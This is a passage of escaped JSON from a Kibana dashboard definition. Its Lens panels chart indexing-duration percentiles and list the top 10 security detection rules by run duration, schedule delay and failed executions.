Type\":\"line\",\"showGridlines\":false,\"layerType\":\"data\",\"xAccessor\":\"2e39ea80-4360-44ef-b24b-91adba3184f8\",\"yConfig\":[{\"forAccessor\":\"44728b87-025d-4b13-b3b9-35bfd5cc7d26\",\"color\":\"#d36086\",\"axisMode\":\"left\"},{\"forAccessor\":\"f623346f-da47-4819-b485-d3527bd4506e\",\"axisMode\":\"left\",\"color\":\"#9170b8\"},{\"forAccessor\":\"861f06ed-3ef1-4e60-93fe-ddf176e5aa9e\",\"axisMode\":\"left\",\"color\":\"#6092c0\"}]}],\"curveType\":\"CURVE_MONOTONE_X\",\"yTitle\":\"Indexing duration, ms\"},\"query\":{\"query\":\"\",\"language\":\"lucene\"},\"filters\":[{\"meta\":{\"type\":\"combined\",\"relation\":\"AND\",\"params\":[{\"meta\":{\"negate\":false,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.provider\",\"field\":\"event.provider\",\"params\":{\"query\":\"securitySolution.ruleExecution\"},\"type\":\"phrase\",\"disabled\":false,\"alias\":null},\"query\":{\"match_phrase\":{\"event.provider\":\"securitySolution.ruleExecution\"}}},{\"meta\":{\"disabled\":false,\"negate\":false,\"alias\":null,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.action\",\"field\":\"event.action\",\"params\":{\"query\":\"execution-metrics\"},\"type\":\"phrase\"},\"$state\":{\"store\":\"appState\"},\"query\":{\"match_phrase\":{\"event.action\":\"execution-metrics\"}}}],\"index\":\"e0a238a9-104e-46c0-890a-c7b3e1c08018\",\"disabled\":false,\"negate\":false,\"alias\":null},\"query\":{},\"$state\":{\"store\":\"appState\"}}],\"datasourceStates\":{\"formBased\":{\"layers\":{\"59ae5f24-20ed-4c11-bf5c-229d2dbb3cc8\":{\"columns\":{\"2e39ea80-4360-44ef-b24b-91adba3184f8\":{\"label\":\"@timestamp\",\"dataType\":\"date\",\"operationType\":\"date_histogram\",\"sourceField\":\"@timestamp\",\"isBucketed\":true,\"scale\":\"interval\",\"params\":{\"interval\":\"auto\",\"includeEmptyRows\":true}},\"44728b87-025d-4b13-b3b9-35bfd5cc7d26\":{\"label\":\"99th percentile\",\"dataType\":\"number\",\"operationType\":\"percentile\",\"sourceField\":\"kibana.alert.rule.execution.metrics.total_indexing_duration_ms\",\"isBucketed\":false,\"scale\":\"ratio\",\"params\":{\"percentile\":99},\"customLabel\":true},\"f623346f-da47-4819-b485-d3527bd4506e\":{\"label\":\"95th percentile\",\"dataType\":\"number\",\"operationType\":\"percentile\",\"sourceField\":\"kibana.alert.rule.execution.metrics.total_indexing_duration_ms\",\"isBucketed\":false,\"scale\":\"ratio\",\"params\":{\"percentile\":95},\"customLabel\":true},\"861f06ed-3ef1-4e60-93fe-ddf176e5aa9e\":{\"label\":\"50th percentile\",\"dataType\":\"number\",\"operationType\":\"percentile\",\"sourceField\":\"kibana.alert.rule.execution.metrics.total_indexing_duration_ms\",\"isBucketed\":false,\"scale\":\"ratio\",\"filter\":{\"query\":\"kibana.alert.rule.execution.metrics.total_run_duration_ms: *\",\"language\":\"kuery\"},\"params\":{\"percentile\":50},\"customLabel\":true}},\"columnOrder\":[\"2e39ea80-4360-44ef-b24b-91adba3184f8\",\"44728b87-025d-4b13-b3b9-35bfd5cc7d26\",\"f623346f-da47-4819-b485-d3527bd4506e\",\"861f06ed-3ef1-4e60-93fe-ddf176e5aa9e\"],\"incompleteColumns\":{}}}}},\"internalReferences\":[],\"adHocDataViews\":{}}}},\"panelIndex\":\"0b6f467f-f784-457e-9351-839874bef66e\",\"gridData\":{\"i\":\"0b6f467f-f784-457e-9351-839874bef66e\",\"y\":99,\"x\":0,\"w\":21,\"h\":15}},{\"type\":\"lens\",\"title\":\"Indexing duration, top 5 rules per @timestamp\",\"embeddableConfig\":{\"enhancements\":{\"dynamicActions\":{\"events\":[]}},\"hidePanelTitles\":false,\"syncColors\":false,\"syncCursor\":true,\"syncTooltips\":false,\"filters\":[{\"meta\":{\"type\":\"combined\",\"relation\":\"AND\",\"params\":[{\"meta\":{\"negate\":false,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.provider\",\"field\":\"event.provider\",\"params\":{\"query\":\"securitySolution.ruleExecution\"},\"type\":\"phrase\",\"disabled\":false,\"alias\":null},\"query\":{\"match_phrase\":{\"event.provider\":\"securitySolution.ruleExecution\"}}},{\"query\":{\"match_phrase\":{\"event.action\":\"execution-metrics\"}},\"meta\":{\"negate\":false,\"type\":\"phrase\",\"key\":\"event.action\",\"params\":{\"query\":\"execution-metrics\"},\"index\":\"kibana-event-log-data-view\",\"disabled\":false,\"alias\":null}}],\"index\":\"kibana-event-log-data-view\",\"disabled\":false,\"negate\":false,\"alias\":null},\"query\":{},\"$state\":{\"store\":\"appState\"}}],\"query\":{\"query\":\"\",\"language\":\"lucene\"},\"attributes\":{\"title\":\"\",\"description\":\"\",\"visualizationType\":\"lnsXY\",\"type\":\"lens\",\"references\":[{\"id\":\"kibana-event-log-data-view\",\"name\":\"indexpattern-datasource-layer-59ae5f24-20ed-4c11-bf5c-229d2dbb3cc8\",\"type\":\"index-pattern\"},{\"id\":\"kibana-event-log-data-view\",\"name\":\"5f5acf46-a12a-43cf-8d4a-b1ef1a971771\",\"type\":\"index-pattern\"}],\"state\":{\"visualization\":{\"legend\":{\"isVisible\":true,\"position\":\"right\",\"legendSize\":\"auto\"},\"valueLabels\":\"hide\",\"fittingFunction\":\"None\",\"yLeftExtent\":{\"mode\":\"full\"},\"yRightExtent\":{\"mode\":\"full\"},\"axisTitlesVisibilitySettings\":{\"x\":true,\"yLeft\":true,\"yRight\":true},\"tickLabelsVisibilitySettings\":{\"x\":true,\"yLeft\":true,\"yRight\":true},\"labelsOrientation\":{\"x\":0,\"yLeft\":0,\"yRight\":0},\"gridlinesVisibilitySettings\":{\"x\":true,\"yLeft\":true,\"yRight\":true},\"preferredSeriesType\":\"line\",\"layers\":[{\"layerId\":\"59ae5f24-20ed-4c11-bf5c-229d2dbb3cc8\",\"accessors\":[\"707ff766-8ef2-47ca-9559-d7ace1bc0a4b\"],\"position\":\"top\",\"seriesType\":\"line\",\"showGridlines\":false,\"layerType\":\"data\",\"palette\":{\"type\":\"palette\",\"name\":\"default\"},\"xAccessor\":\"2e39ea80-4360-44ef-b24b-91adba3184f8\",\"splitAccessor\":\"3a521678-3e76-49b6-a379-eb75ef03604b\"}],\"yTitle\":\"Indexing duration, ms\"},\"query\":{\"query\":\"\",\"language\":\"lucene\"},\"filters\":[{\"meta\":{\"type\":\"combined\",\"relation\":\"AND\",\"params\":[{\"meta\":{\"negate\":false,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.provider\",\"field\":\"event.provider\",\"params\":{\"query\":\"securitySolution.ruleExecution\"},\"type\":\"phrase\",\"disabled\":false,\"alias\":null},\"query\":{\"match_phrase\":{\"event.provider\":\"securitySolution.ruleExecution\"}}},{\"query\":{\"match_phrase\":{\"event.action\":\"execution-metrics\"}},\"meta\":{\"negate\":false,\"type\":\"phrase\",\"key\":\"event.action\",\"params\":{\"query\":\"execution-metrics\"},\"index\":\"kibana-event-log-data-view\",\"disabled\":false,\"alias\":null}}],\"index\":\"5f5acf46-a12a-43cf-8d4a-b1ef1a971771\",\"disabled\":false,\"negate\":false,\"alias\":null},\"query\":{},\"$state\":{\"store\":\"appState\"}}],\"datasourceStates\":{\"formBased\":{\"layers\":{\"59ae5f24-20ed-4c11-bf5c-229d2dbb3cc8\":{\"columns\":{\"2e39ea80-4360-44ef-b24b-91adba3184f8\":{\"label\":\"@timestamp\",\"dataType\":\"date\",\"operationType\":\"date_histogram\",\"sourceField\":\"@timestamp\",\"isBucketed\":true,\"scale\":\"interval\",\"params\":{\"interval\":\"auto\",\"includeEmptyRows\":true}},\"3a521678-3e76-49b6-a379-eb75ef03604b\":{\"label\":\"Top 5 values of rule.name\",\"dataType\":\"string\",\"operationType\":\"terms\",\"scale\":\"ordinal\",\"sourceField\":\"rule.name\",\"isBucketed\":true,\"params\":{\"size\":5,\"orderBy\":{\"type\":\"column\",\"columnId\":\"707ff766-8ef2-47ca-9559-d7ace1bc0a4b\"},\"orderDirection\":\"desc\",\"otherBucket\":false,\"missingBucket\":false,\"secondaryFields\":[],\"parentFormat\":{\"id\":\"terms\"}}},\"707ff766-8ef2-47ca-9559-d7ace1bc0a4b\":{\"label\":\"Indexing duration\",\"dataType\":\"number\",\"operationType\":\"max\",\"sourceField\":\"kibana.alert.rule.execution.metrics.total_indexing_duration_ms\",\"isBucketed\":false,\"scale\":\"ratio\",\"params\":{\"emptyAsNull\":true},\"customLabel\":true}},\"columnOrder\":[\"2e39ea80-4360-44ef-b24b-91adba3184f8\",\"3a521678-3e76-49b6-a379-eb75ef03604b\",\"707ff766-8ef2-47ca-9559-d7ace1bc0a4b\"],\"incompleteColumns\":{}}}}},\"internalReferences\":[],\"adHocDataViews\":{}}}},\"panelIndex\":\"2ad1eb6c-c19b-41b1-897e-2d1d192cedae\",\"gridData\":{\"i\":\"2ad1eb6c-c19b-41b1-897e-2d1d192cedae\",\"y\":99,\"x\":21,\"w\":27,\"h\":15}},{\"type\":\"visualization\",\"title\":\"\",\"embeddableConfig\":{\"enhancements\":{\"dynamicActions\":{\"events\":[]}},\"savedVis\":{\"title\":\"\",\"description\":\"\",\"type\":\"markdown\",\"params\":{\"fontSize\":12,\"openLinksInNewTab\":false,\"markdown\":\"Top 10 rules by various criteria.\"},\"uiState\":{},\"data\":{\"aggs\":[],\"searchSource\":{\"query\":{\"query\":\"\",\"language\":\"kuery\"},\"filter\":[]}}}},\"panelIndex\":\"0fcc0476-eb8c-4c41-8325-2a9084a12e59\",\"gridData\":{\"i\":\"0fcc0476-eb8c-4c41-8325-2a9084a12e59\",\"y\":114,\"x\":0,\"w\":48,\"h\":4}},{\"type\":\"lens\",\"title\":\"Top 10 slowest rules by total execution duration\",\"embeddableConfig\":{\"enhancements\":{\"dynamicActions\":{\"events\":[]}},\"hidePanelTitles\":false,\"syncColors\":false,\"syncCursor\":true,\"syncTooltips\":false,\"filters\":[{\"meta\":{\"type\":\"combined\",\"relation\":\"AND\",\"params\":[{\"query\":{\"match_phrase\":{\"event.provider\":\"alerting\"}},\"meta\":{\"negate\":false,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.provider\",\"field\":\"event.provider\",\"params\":{\"query\":\"alerting\"},\"type\":\"phrase\",\"disabled\":false,\"alias\":null}},{\"meta\":{\"negate\":false,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.action\",\"field\":\"event.action\",\"params\":{\"query\":\"execute\"},\"type\":\"phrase\",\"disabled\":false,\"alias\":null},\"query\":{\"match_phrase\":{\"event.action\":\"execute\"}}},{\"meta\":{\"disabled\":false,\"negate\":false,\"alias\":null,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.category\",\"field\":\"event.category\",\"params\":{\"query\":\"siem\"},\"type\":\"phrase\"},\"$state\":{\"store\":\"appState\"},\"query\":{\"match_phrase\":{\"event.category\":\"siem\"}}}],\"index\":\"kibana-event-log-data-view\",\"disabled\":false,\"negate\":false,\"alias\":null},\"query\":{},\"$state\":{\"store\":\"appState\"}}],\"query\":{\"query\":\"\",\"language\":\"kuery\"},\"attributes\":{\"title\":\"\",\"description\":\"\",\"visualizationType\":\"lnsDatatable\",\"type\":\"lens\",\"references\":[{\"id\":\"kibana-event-log-data-view\",\"name\":\"indexpattern-datasource-layer-dd23be91-5d0e-41d8-8907-ae3c9a577e2e\",\"type\":\"index-pattern\"},{\"id\":\"kibana-event-log-data-view\",\"name\":\"a1fed0ee-76a2-476e-8614-9fe8e71128b3\",\"type\":\"index-pattern\"}],\"state\":{\"visualization\":{\"columns\":[{\"columnId\":\"29b3609c-9891-4c1c-94ee-17bc4410cbbb\",\"isTransposed\":false},{\"columnId\":\"ce86886d-db33-4d81-a0c4-b2d5499cf2ef\",\"isTransposed\":false,\"width\":135},{\"columnId\":\"75b295c8-00ac-4f62-8952-e4cb44b5f183\",\"isTransposed\":false,\"width\":153.66666666666669},{\"columnId\":\"2fe7ca3c-5c52-4d5e-9892-afb9141d6319\",\"isTransposed\":false,\"width\":86.16666666666663}],\"layerId\":\"dd23be91-5d0e-41d8-8907-ae3c9a577e2e\",\"layerType\":\"data\"},\"query\":{\"query\":\"\",\"language\":\"kuery\"},\"filters\":[{\"meta\":{\"type\":\"combined\",\"relation\":\"AND\",\"params\":[{\"query\":{\"match_phrase\":{\"event.provider\":\"alerting\"}},\"meta\":{\"negate\":false,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.provider\",\"field\":\"event.provider\",\"params\":{\"query\":\"alerting\"},\"type\":\"phrase\",\"disabled\":false,\"alias\":null}},{\"meta\":{\"negate\":false,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.action\",\"field\":\"event.action\",\"params\":{\"query\":\"execute\"},\"type\":\"phrase\",\"disabled\":false,\"alias\":null},\"query\":{\"match_phrase\":{\"event.action\":\"execute\"}}},{\"meta\":{\"disabled\":false,\"negate\":false,\"alias\":null,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.category\",\"field\":\"event.category\",\"params\":{\"query\":\"siem\"},\"type\":\"phrase\"},\"$state\":{\"store\":\"appState\"},\"query\":{\"match_phrase\":{\"event.category\":\"siem\"}}}],\"index\":\"a1fed0ee-76a2-476e-8614-9fe8e71128b3\",\"disabled\":false,\"negate\":false,\"alias\":null},\"query\":{},\"$state\":{\"store\":\"appState\"}}],\"datasourceStates\":{\"formBased\":{\"layers\":{\"dd23be91-5d0e-41d8-8907-ae3c9a577e2e\":{\"columns\":{\"29b3609c-9891-4c1c-94ee-17bc4410cbbb\":{\"label\":\"Name\",\"dataType\":\"string\",\"operationType\":\"terms\",\"scale\":\"ordinal\",\"sourceField\":\"rule.name\",\"isBucketed\":true,\"params\":{\"size\":1,\"orderBy\":{\"type\":\"column\",\"columnId\":\"ce86886d-db33-4d81-a0c4-b2d5499cf2ef\"},\"orderDirection\":\"desc\",\"otherBucket\":false,\"missingBucket\":false,\"parentFormat\":{\"id\":\"terms\"},\"include\":[],\"exclude\":[],\"includeIsRegex\":false,\"excludeIsRegex\":false,\"secondaryFields\":[]},\"customLabel\":true},\"ce86886d-db33-4d81-a0c4-b2d5499cf2ef\":{\"label\":\"Duration, ms\",\"dataType\":\"number\",\"operationType\":\"max\",\"sourceField\":\"kibana.alert.rule.execution.metrics.total_run_duration_ms\",\"isBucketed\":false,\"scale\":\"ratio\",\"params\":{\"emptyAsNull\":true},\"customLabel\":true},\"75b295c8-00ac-4f62-8952-e4cb44b5f183\":{\"label\":\"Type\",\"dataType\":\"string\",\"operationType\":\"terms\",\"scale\":\"ordinal\",\"sourceField\":\"rule.category\",\"isBucketed\":true,\"params\":{\"size\":1,\"orderBy\":{\"type\":\"column\",\"columnId\":\"ce86886d-db33-4d81-a0c4-b2d5499cf2ef\"},\"orderDirection\":\"desc\",\"otherBucket\":false,\"missingBucket\":false,\"parentFormat\":{\"id\":\"terms\"},\"include\":[],\"exclude\":[],\"includeIsRegex\":false,\"excludeIsRegex\":false},\"customLabel\":true},\"2fe7ca3c-5c52-4d5e-9892-afb9141d6319\":{\"label\":\"ID\",\"dataType\":\"string\",\"operationType\":\"terms\",\"scale\":\"ordinal\",\"sourceField\":\"rule.id\",\"isBucketed\":true,\"params\":{\"size\":10,\"orderBy\":{\"type\":\"column\",\"columnId\":\"ce86886d-db33-4d81-a0c4-b2d5499cf2ef\"},\"orderDirection\":\"desc\",\"otherBucket\":false,\"missingBucket\":false,\"parentFormat\":{\"id\":\"terms\"},\"include\":[],\"exclude\":[],\"includeIsRegex\":false,\"excludeIsRegex\":false},\"customLabel\":true}},\"columnOrder\":[\"2fe7ca3c-5c52-4d5e-9892-afb9141d6319\",\"29b3609c-9891-4c1c-94ee-17bc4410cbbb\",\"75b295c8-00ac-4f62-8952-e4cb44b5f183\",\"ce86886d-db33-4d81-a0c4-b2d5499cf2ef\"],\"sampling\":1,\"ignoreGlobalFilters\":false,\"incompleteColumns\":{}}}},\"textBased\":{\"layers\":{}}},\"internalReferences\":[],\"adHocDataViews\":{}}}},\"panelIndex\":\"6ce283f7-115a-4a0f-9184-71e141149183\",\"gridData\":{\"i\":\"6ce283f7-115a-4a0f-9184-71e141149183\",\"y\":118,\"x\":0,\"w\":24,\"h\":16}},{\"type\":\"lens\",\"title\":\"Top 10 slowest rules by schedule delay\",\"embeddableConfig\":{\"enhancements\":{\"dynamicActions\":{\"events\":[]}},\"hidePanelTitles\":false,\"syncColors\":false,\"syncCursor\":true,\"syncTooltips\":false,\"filters\":[{\"meta\":{\"type\":\"combined\",\"relation\":\"AND\",\"params\":[{\"query\":{\"match_phrase\":{\"event.provider\":\"alerting\"}},\"meta\":{\"negate\":false,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.provider\",\"field\":\"event.provider\",\"params\":{\"query\":\"alerting\"},\"type\":\"phrase\",\"disabled\":false,\"alias\":null}},{\"meta\":{\"negate\":false,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.action\",\"field\":\"event.action\",\"params\":{\"query\":\"execute\"},\"type\":\"phrase\",\"disabled\":false,\"alias\":null},\"query\":{\"match_phrase\":{\"event.action\":\"execute\"}}},{\"meta\":{\"disabled\":false,\"negate\":false,\"alias\":null,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.category\",\"field\":\"event.category\",\"params\":{\"query\":\"siem\"},\"type\":\"phrase\"},\"$state\":{\"store\":\"appState\"},\"query\":{\"match_phrase\":{\"event.category\":\"siem\"}}}],\"index\":\"kibana-event-log-data-view\",\"disabled\":false,\"negate\":false,\"alias\":null},\"query\":{},\"$state\":{\"store\":\"appState\"}}],\"query\":{\"query\":\"\",\"language\":\"kuery\"},\"attributes\":{\"title\":\"\",\"description\":\"\",\"visualizationType\":\"lnsDatatable\",\"type\":\"lens\",\"references\":[{\"id\":\"kibana-event-log-data-view\",\"name\":\"indexpattern-datasource-layer-dd23be91-5d0e-41d8-8907-ae3c9a577e2e\",\"type\":\"index-pattern\"},{\"id\":\"kibana-event-log-data-view\",\"name\":\"ee506497-3313-49d4-9cc9-353e55305547\",\"type\":\"index-pattern\"}],\"state\":{\"visualization\":{\"columns\":[{\"columnId\":\"29b3609c-9891-4c1c-94ee-17bc4410cbbb\",\"isTransposed\":false},{\"columnId\":\"ce86886d-db33-4d81-a0c4-b2d5499cf2ef\",\"isTransposed\":false,\"width\":130},{\"columnId\":\"75b295c8-00ac-4f62-8952-e4cb44b5f183\",\"isTransposed\":false,\"width\":163.66666666666669},{\"columnId\":\"2fe7ca3c-5c52-4d5e-9892-afb9141d6319\",\"isTransposed\":false,\"width\":84.16666666666663}],\"layerId\":\"dd23be91-5d0e-41d8-8907-ae3c9a577e2e\",\"layerType\":\"data\"},\"query\":{\"query\":\"\",\"language\":\"kuery\"},\"filters\":[{\"meta\":{\"type\":\"combined\",\"relation\":\"AND\",\"params\":[{\"query\":{\"match_phrase\":{\"event.provider\":\"alerting\"}},\"meta\":{\"negate\":false,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.provider\",\"field\":\"event.provider\",\"params\":{\"query\":\"alerting\"},\"type\":\"phrase\",\"disabled\":false,\"alias\":null}},{\"meta\":{\"negate\":false,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.action\",\"field\":\"event.action\",\"params\":{\"query\":\"execute\"},\"type\":\"phrase\",\"disabled\":false,\"alias\":null},\"query\":{\"match_phrase\":{\"event.action\":\"execute\"}}},{\"meta\":{\"disabled\":false,\"negate\":false,\"alias\":null,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.category\",\"field\":\"event.category\",\"params\":{\"query\":\"siem\"},\"type\":\"phrase\"},\"$state\":{\"store\":\"appState\"},\"query\":{\"match_phrase\":{\"event.category\":\"siem\"}}}],\"index\":\"ee506497-3313-49d4-9cc9-353e55305547\",\"disabled\":false,\"negate\":false,\"alias\":null},\"query\":{},\"$state\":{\"store\":\"appState\"}}],\"datasourceStates\":{\"formBased\":{\"layers\":{\"dd23be91-5d0e-41d8-8907-ae3c9a577e2e\":{\"columns\":{\"29b3609c-9891-4c1c-94ee-17bc4410cbbb\":{\"label\":\"Name\",\"dataType\":\"string\",\"operationType\":\"terms\",\"scale\":\"ordinal\",\"sourceField\":\"rule.name\",\"isBucketed\":true,\"params\":{\"size\":1,\"orderBy\":{\"type\":\"alphabetical\",\"fallback\":false},\"orderDirection\":\"asc\",\"otherBucket\":false,\"missingBucket\":false,\"parentFormat\":{\"id\":\"terms\"},\"include\":[],\"exclude\":[],\"includeIsRegex\":false,\"excludeIsRegex\":false,\"secondaryFields\":[]},\"customLabel\":true},\"ce86886d-db33-4d81-a0c4-b2d5499cf2efX0\":{\"label\":\"Part of Schedule delay, ms\",\"dataType\":\"number\",\"operationType\":\"max\",\"sourceField\":\"kibana.task.schedule_delay\",\"isBucketed\":false,\"scale\":\"ratio\",\"params\":{\"emptyAsNull\":false},\"customLabel\":true},\"ce86886d-db33-4d81-a0c4-b2d5499cf2efX1\":{\"label\":\"Part of Schedule delay, ms\",\"dataType\":\"number\",\"operationType\":\"math\",\"isBucketed\":false,\"scale\":\"ratio\",\"params\":{\"tinymathAst\":{\"type\":\"function\",\"name\":\"divide\",\"args\":[\"ce86886d-db33-4d81-a0c4-b2d5499cf2efX0\",1000000],\"location\":{\"min\":0,\"max\":41},\"text\":\"max(kibana.task.schedule_delay) / 1000000\"}},\"references\":[\"ce86886d-db33-4d81-a0c4-b2d5499cf2efX0\"],\"customLabel\":true},\"ce86886d-db33-4d81-a0c4-b2d5499cf2ef\":{\"label\":\"Delay, ms\",\"dataType\":\"number\",\"operationType\":\"formula\",\"isBucketed\":false,\"scale\":\"ratio\",\"params\":{\"formula\":\"max(kibana.task.schedule_delay) / 1000000\",\"isFormulaBroken\":false},\"references\":[\"ce86886d-db33-4d81-a0c4-b2d5499cf2efX1\"],\"customLabel\":true},\"75b295c8-00ac-4f62-8952-e4cb44b5f183\":{\"label\":\"Type\",\"dataType\":\"string\",\"operationType\":\"terms\",\"scale\":\"ordinal\",\"sourceField\":\"rule.category\",\"isBucketed\":true,\"params\":{\"size\":1,\"orderBy\":{\"type\":\"alphabetical\",\"fallback\":true},\"orderDirection\":\"asc\",\"otherBucket\":false,\"missingBucket\":false,\"parentFormat\":{\"id\":\"terms\"},\"include\":[],\"exclude\":[],\"includeIsRegex\":false,\"excludeIsRegex\":false},\"customLabel\":true},\"2fe7ca3c-5c52-4d5e-9892-afb9141d6319\":{\"label\":\"ID\",\"dataType\":\"string\",\"operationType\":\"terms\",\"scale\":\"ordinal\",\"sourceField\":\"rule.id\",\"isBucketed\":true,\"params\":{\"size\":10,\"orderBy\":{\"type\":\"custom\"},\"orderDirection\":\"desc\",\"otherBucket\":false,\"missingBucket\":false,\"parentFormat\":{\"id\":\"terms\"},\"include\":[],\"exclude\":[],\"includeIsRegex\":false,\"excludeIsRegex\":false,\"orderAgg\":{\"label\":\"Maximum of kibana.task.schedule_delay\",\"dataType\":\"number\",\"operationType\":\"max\",\"sourceField\":\"kibana.task.schedule_delay\",\"isBucketed\":false,\"scale\":\"ratio\",\"params\":{\"emptyAsNull\":true}}},\"customLabel\":true}},\"columnOrder\":[\"2fe7ca3c-5c52-4d5e-9892-afb9141d6319\",\"29b3609c-9891-4c1c-94ee-17bc4410cbbb\",\"75b295c8-00ac-4f62-8952-e4cb44b5f183\",\"ce86886d-db33-4d81-a0c4-b2d5499cf2ef\",\"ce86886d-db33-4d81-a0c4-b2d5499cf2efX0\",\"ce86886d-db33-4d81-a0c4-b2d5499cf2efX1\"],\"sampling\":1,\"ignoreGlobalFilters\":false,\"incompleteColumns\":{}}}},\"textBased\":{\"layers\":{}}},\"internalReferences\":[],\"adHocDataViews\":{}}}},\"panelIndex\":\"f5d7a9c8-839c-408c-b798-68d019483bc7\",\"gridData\":{\"i\":\"f5d7a9c8-839c-408c-b798-68d019483bc7\",\"y\":118,\"x\":24,\"w\":24,\"h\":16}},{\"type\":\"lens\",\"title\":\"Top 10 rules by status \\\"Failed\\\"\",\"embeddableConfig\":{\"enhancements\":{\"dynamicActions\":{\"events\":[]}},\"hidePanelTitles\":false,\"syncColors\":false,\"syncCursor\":true,\"syncTooltips\":false,\"filters\":[{\"meta\":{\"type\":\"combined\",\"relation\":\"AND\",\"params\":[{\"query\":{\"match_phrase\":{\"event.provider\":\"securitySolution.ruleExecution\"}},\"meta\":{\"negate\":false,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.provider\",\"field\":\"event.provider\",\"params\":{\"query\":\"securitySolution.ruleExecution\"},\"type\":\"phrase\",\"disabled\":false,\"alias\":null}},{\"meta\":{\"negate\":false,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.action\",\"field\":\"event.action\",\"params\":{\"query\":\"status-change\"},\"type\":\"phrase\",\"disabled\":false,\"alias\":null},\"query\":{\"match_phrase\":{\"event.action\":\"status-change\"}}},{\"meta\":{\"disabled\":false,\"negate\":false,\"alias\":null,\"index\":\"kibana-event-log-data-view\",\"key\":\"kibana.alert.rule.execution.status\",\"field\":\"kibana.alert.rule.execution.status\",\"params\":{\"query\":\"failed\"},\"type\":\"phrase\"},\"$state\":{\"store\":\"appState\"},\"query\":{\"match_phrase\":{\"kibana.alert.rule.execution.status\":\"failed\"}}}],\"index\":\"kibana-event-log-data-view\",\"disabled\":false,\"negate\":false,\"alias\":null},\"query\":{},\"$state\":{\"store\":\"appState\"}}],\"query\":{\"query\":\"\",\"language\":\"kuery\"},\"attributes\":{\"title\":\"\",\"description\":\"\",\"visualizationType\":\"lnsDatatable\",\"type\":\"lens\",\"references\":[{\"id\":\"kibana-event-log-data-view\",\"name\":\"indexpattern-datasource-layer-dd23be91-5d0e-41d8-8907-ae3c9a577e2e\",\"type\":\"index-pattern\"},{\"id\":\"kibana-event-log-data-view\",\"name\":\"c5902ca2-58ae-4b1c-b420-5208b7cb16c4\",\"type\":\"index-pattern\"}],\"state\":{\"visualization\":{\"columns\":[{\"columnId\":\"29b3609c-9891-4c1c-94ee-17bc4410cbbb\",\"isTransposed\":false},{\"columnId\":\"ce86886d-db33-4d81-a0c4-b2d5499cf2ef\",\"isTransposed\":false,\"width\":122.08333333333331},{\"columnId\":\"729ee95a-5bf6-4f18-9350-dce536b55dea\",\"isTransposed\":false,\"width\":164.75},{\"columnId\":\"fa6462ca-54c3-470e-a9c3-66ff58c37536\",\"isTransposed\":false,\"width\":82.08333333333334}],\"layerId\":\"dd23be91-5d0e-41d8-8907-ae3c9a577e2e\",\"layerType\":\"data\"},\"query\":{\"query\":\"\",\"language\":\"kuery\"},\"filters\":[{\"meta\":{\"type\":\"combined\",\"relation\":\"AND\",\"params\":[{\"query\":{\"match_phrase\":{\"event.provider\":\"securitySolution.ruleExecution\"}},\"meta\":{\"negate\":false,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.provider\",\"field\":\"event.provider\",\"params\":{\"query\":\"securitySolution.ruleExecution\"},\"type\":\"phrase\",\"disabled\":false,\"alias\":null}},{\"meta\":{\"negate\":false,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.action\",\"field\":\"event.action\",\"params\":{\"query\":\"status-change\"},\"type\":\"phrase\",\"disabled\":false,\"alias\":null},\"query\":{\"match_phrase\":{\"event.action\":\"status-change\"}}},{\"meta\":{\"disabled\":false,\"negate\":false,\"alias\":null,\"index\":\"kibana-event-log-data-view\",\"key\":\"kibana.alert.rule.execution.status\",\"field\":\"kibana.alert.rule.execution.status\",\"params\":{\"query\":\"failed\"},\"type\":\"phrase\"},\"$state\":{\"store\":\"appState\"},\"query\":{\"match_phrase\":{\"kibana.alert.rule.execution.status\":\"failed\"}}}],\"index\":\"c5902ca2-58ae-4b1c-b420-5208b7cb16c4\",\"disabled\":false,\"negate\":false,\"alias\":null},\"query\":{},\"$state\":{\"store\":\"appState\"}}],\"datasourceStates\":{\"formBased\":{\"layers\":{\"dd23be91-5d0e-41d8-8907-ae3c9a577e2e\":{\"columns\":{\"29b3609c-9891-4c1c-94ee-17bc4410cbbb\":{\"label\":\"Name\",\"dataType\":\"string\",\"operationType\":\"terms\",\"scale\":\"ordinal\",\"sourceField\":\"rule.name\",\"isBucketed\":true,\"params\":{\"size\":1,\"orderBy\":{\"type\":\"column\",\"columnId\":\"ce86886d-db33-4d81-a0c4-b2d5499cf2ef\"},\"orderDirection\":\"desc\",\"otherBucket\":false,\"missingBucket\":false,\"parentFormat\":{\"id\":\"terms\"},\"include\":[],\"exclude\":[],\"includeIsRegex\":false,\"excludeIsRegex\":false,\"secondaryFields\":[]},\"customLabel\":true},\"ce86886d-db33-4d81-a0c4-b2d5499cf2ef\":{\"label\":\"# \\\"Failed\\\"\",\"dataType\":\"number\",\"operationType\":\"unique_count\",\"scale\":\"ratio\",\"sourceField\":\"kibana.alert.rule.execution.uuid\",\"isBucketed\":false,\"params\":{\"emptyAsNull\":true},\"customLabel\":true},\"729ee95a-5bf6-4f18-9350-dce536b55dea\":{\"label\":\"Type\",\"dataType\":\"string\",\"operationType\":\"terms\",\"scale\":\"ordinal\",\"sourceField\":\"rule.category\",\"isBucketed\":true,\"params\":{\"size\":1,\"orderBy\":{\"type\":\"column\",\"columnId\":\"ce86886d-db33-4d81-a0c4-b2d5499cf2ef\"},\"orderDirection\":\"desc\",\"otherBucket\":false,\"missingBucket\":false,\"parentFormat\":{\"id\":\"terms\"},\"include\":[],\"exclude\":[],\"includeIsRegex\":false,\"excludeIsRegex\":false},\"customLabel\":true},\"fa6462ca-54c3-470e-a9c3-66ff58c37536\":{\"label\":\"ID\",\"dataType\":\"string\",\"operationType\":\"terms\",\"scale\":\"ordinal\",\"sourceField\":\"rule.id\",\"isBucketed\":true,\"params\":{\"size\":